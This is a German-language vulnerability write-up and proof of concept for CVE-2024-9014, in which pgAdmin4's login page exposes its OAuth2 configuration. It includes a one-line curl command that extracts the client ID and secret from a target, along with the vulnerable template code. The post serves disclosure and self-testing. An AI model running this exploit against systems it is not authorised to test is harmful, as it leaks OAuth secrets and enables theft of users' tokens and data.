
Pgadmin4 Sensitive Information Exposure
Dieser Beitrag ist ein Forschungsartikel, veröffentlicht von EQSTLab.
★ CVE-2024-9014 PoC zur Offenlegung sensibler Informationen ★
CVE-2024-9014 : pgAdmin4 Offenlegung sensibler Informationen
Beschreibung: pgAdmin-Versionen 8.11 und früher sind anfällig für einen Sicherheitsfehler in der OAuth2-Authentifizierung. Diese Sicherheitslücke ermöglicht es einem Angreifer, möglicherweise die Client-ID und das Geheimnis zu erlangen, was zu unbefugtem Zugriff auf Benutzerdaten führt.
curl [URL_TO_TEST]/login?next=/ | grep -o '"oauth2Config": \[.*\]' | sed 's/"oauth2Config": //'
curl http://localhost:8000/login?next=/ | grep -o '"oauth2Config": \[.*\]' | sed 's/"oauth2Config": //'
pgadmin4-8.9 und pgadmin4-8.12

An dieser Stelle gibt die Variable config.OAUTH2_CONFIG OAUTH2-Konfigurationsdateien zurück, einschließlich OAUTH2_CLIENT_ID und OAUTH2_CLIENT_SECRET.
{% set page_name = 'login_user' %}
{% set user_language = request.cookies.get('PGADMIN_LANGUAGE') or 'en' %}
{% set ns = namespace(langOptions=[]) %}
{% for key, lang in config.LANGUAGES.items() %}
{% set _ = ns.langOptions.append({'value': key, 'label': lang}) %}
{% endfor %}
{% set page_props = {
'userLanguage': user_language,
'langOptions': ns.langOptions,
'forgotPassUrl': url_for('browser.forgot_password'),
'loginUrl': url_for('authenticate.login'),
'csrfToken': csrf_token(),
'authSources': config.AUTHENTICATION_SOURCES,
'authSourcesEnum': {
'OAUTH2': config.OAUTH2,
'KERBEROS': config.KERBEROS,
},
'oauth2Config': config.OAUTH2_CONFIG,
'loginBanner': config.LOGIN_BANNER|safe
} %}
{% extends "security/render_page.html" %}

Die Identifizierung und der Schutz geheimer OAuth-Parameter ist sehr wichtig. Während „client_id“ sicher preisgegeben werden kann, birgt die Offenlegung von „client_secret“ ein erhebliches Risiko. Wenn das client_secret kompromittiert wird, kann ein Angreifer die Identität und das Vertrauen der Anwendung ausnutzen, um den „access token“ des Benutzers und persönliche Daten zu stehlen.
Dieses Repository ist nicht dazu gedacht, vertrauliche Informationen zu CVE-2024-9014 offenzulegen. Der Zweck dieses Projekts ist es, Menschen zu helfen, diese Sicherheitslücke zu verstehen, und vielleicht ihre eigenen Anwendungen zu testen.
Wir veröffentlichen einmal im Monat CVE- und Malware-Analysen. Wenn Sie interessiert sind, folgen Sie bitte den untenstehenden Links, um unsere Veröffentlichungen zu sehen. https://www.skshieldus.com/eng/business/insight.do